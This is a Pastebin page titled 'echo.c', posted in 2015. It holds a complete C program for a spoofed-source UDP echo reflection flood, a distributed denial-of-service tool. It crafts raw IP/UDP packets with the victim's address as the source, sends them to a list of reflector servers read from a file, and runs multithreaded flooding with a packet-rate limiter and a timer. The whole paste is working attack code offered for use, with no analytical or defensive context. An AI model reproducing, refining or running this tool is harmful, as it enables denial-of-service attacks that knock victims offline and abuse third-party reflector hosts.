daily pastebin goal
25%
SHARE
TWEET

echo.c

wtfbbq Dec 28th, 2015 935 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11. #define MAX_PACKET_SIZE 8192
  12. #define PHI 0x9e3779b9
  13. static uint32_t Q[4096], c = 362436;
  14. struct list
  15. {
  16.     struct sockaddr_in data;
  17.     struct list *next;
  18.     struct list *prev;
  19. };
  20. struct list *head;
  21. volatile int tehport;
  22. volatile int limiter;
  23. volatile unsigned int pps;
  24. volatile unsigned int sleeptime = 100;
  25. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  26. void init_rand(uint32_t x)
  27. {
  28.     int i;
  29.     Q[0] = x;
  30.     Q[1] = x + PHI;
  31.     Q[2] = x + PHI + PHI;
  32.     for (i = 3; i < 4096; i++)
  33.     {
  34.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  35.     }
  36. }
  37. uint32_t rand_cmwc(void)
  38. {
  39.     uint64_t t, a = 18782LL;
  40.     static uint32_t i = 4095;
  41.     uint32_t x, r = 0xfffffffe;
  42.     i = (i + 1) & 4095;
  43.     t = a * Q[i] + c;
  44.     c = (t >> 32);
  45.     x = t + c;
  46.     if (x < c) {
  47.     x++;
  48.     c++;
  49.     }
  50.     return (Q[i] = r - x);
  51. }
  52. unsigned short csum (unsigned short *buf, int nwords)
  53. {
  54.     unsigned long sum = 0;
  55.     for (sum = 0; nwords > 0; nwords--)
  56.     sum += *buf++;
  57.     sum = (sum >> 16) + (sum & 0xffff);
  58.     sum += (sum >> 16);
  59.     return (unsigned short)(~sum);
  60. }
  61. void setup_ip_header(struct iphdr *iph)
  62. {
  63.     iph->ihl = 5;
  64.     iph->version = 4;
  65.     iph->tos = 0;
  66.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 4;
  67.     iph->id = htonl(54321);
  68.     iph->frag_off = 0;
  69.     iph->ttl = MAXTTL;
  70.     iph->protocol = IPPROTO_UDP;
  71.     iph->check = 0;
  72.     iph->saddr = inet_addr("192.168.3.100");
  73. }
  74. void setup_udp_header(struct udphdr *udph)
  75. {
  76.     udph->source = htons(5678);
  77.     udph->dest = htons(7);
  78.     udph->check = 0;
  79.     memset((void *)udph + sizeof(struct udphdr), "\x0D\x0A\x0D\x0A", 4);
  80.     udph->len=htons(sizeof(struct udphdr) + 4);
  81. }
  82. void *flood(void *par1)
  83. {
  84.     struct thread_data *td = (struct thread_data *)par1;
  85.     char datagram[MAX_PACKET_SIZE];
  86.     struct iphdr *iph = (struct iphdr *)datagram;
  87.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  88.     struct sockaddr_in sin = td->sin;
  89.     struct  list *list_node = td->list_node;
  90.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  91.     if(s < 0){
  92.     fprintf(stderr, "Could not open raw socket.\n");
  93.     exit(-1);
  94.     }
  95.     init_rand(time(NULL));
  96.     memset(datagram, 0, MAX_PACKET_SIZE);
  97.     setup_ip_header(iph);
  98.     setup_udp_header(udph);
  99.     udph->source = htons(rand() % 65535 - 1026);
  100.     iph->saddr = sin.sin_addr.s_addr;
  101.     iph->daddr = list_node->data.sin_addr.s_addr;
  102.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  103.     int tmp = 1;
  104.     const int *val = &tmp;
  105.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  106.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  107.     exit(-1);
  108.     }
  109.     init_rand(time(NULL));
  110.     register unsigned int i;
  111.     i = 0;
  112.     while(1){
  113.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  114.         list_node = list_node->next;
  115.         iph->daddr = list_node->data.sin_addr.s_addr;
  116.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  117.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  118.        
  119.         pps++;
  120.         if(i >= limiter)
  121.         {
  122.             i = 0;
  123.             usleep(sleeptime);
  124.         }
  125.         i++;
  126.     }
  127. }
  128. int main(int argc, char *argv[ ])
  129. {
  130.     if(argc < 6){
  131.     fprintf(stderr, "Invalid parameters!\n");
  132.     fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  133.         exit(-1);
  134.     }
  135.     srand(time(NULL));
  136.     int i = 0;
  137.     head = NULL;
  138.     fprintf(stdout, "Setting up sockets...\n");
  139.     int max_len = 128;
  140.     char *buffer = (char *) malloc(max_len);
  141.     buffer = memset(buffer, 0x00, max_len);
  142.     int num_threads = atoi(argv[4]);
  143.     int maxpps = atoi(argv[5]);
  144.     limiter = 0;
  145.     pps = 0;
  146.     int multiplier = 20;
  147.     FILE *list_fd = fopen(argv[3],  "r");
  148.     while (fgets(buffer, max_len, list_fd) != NULL) {
  149.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  150.                 (buffer[strlen(buffer) - 1] == '\r')) {
  151.             buffer[strlen(buffer) - 1] = 0x00;
  152.             if(head == NULL)
  153.             {
  154.                 head = (struct list *)malloc(sizeof(struct list));
  155.                 bzero(&head->data, sizeof(head->data));
  156.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  157.                 head->next = head;
  158.                 head->prev = head;
  159.             } else {
  160.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  161.                 memset(new_node, 0x00, sizeof(struct list));
  162.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  163.                 new_node->prev = head;
  164.                 new_node->next = head->next;
  165.                 head->next = new_node;
  166.             }
  167.             i++;
  168.         } else {
  169.             continue;
  170.         }
  171.     }
  172.     struct list *current = head->next;
  173.     pthread_t thread[num_threads];
  174.     struct sockaddr_in sin;
  175.     sin.sin_family = AF_INET;
  176.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  177.     struct thread_data td[num_threads];
  178.     for(i = 0;i<num_threads;i++){
  179.         td[i].thread_id = i;
  180.         td[i].sin= sin;
  181.         td[i].list_node = current;
  182.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  183.     }
  184.     fprintf(stdout, "Starting flood...\n");
  185.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  186.     {
  187.         usleep((1000/multiplier)*1000);
  188.         if((pps*multiplier) > maxpps)
  189.         {
  190.             if(1 > limiter)
  191.             {
  192.                 sleeptime+=100;
  193.             } else {
  194.                 limiter--;
  195.             }
  196.         } else {
  197.             limiter++;
  198.             if(sleeptime > 25)
  199.             {
  200.                 sleeptime-=25;
  201.             } else {
  202.                 sleeptime = 0;
  203.             }
  204.         }
  205.         pps = 0;
  206.     }
  207.     return 0;
  208. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top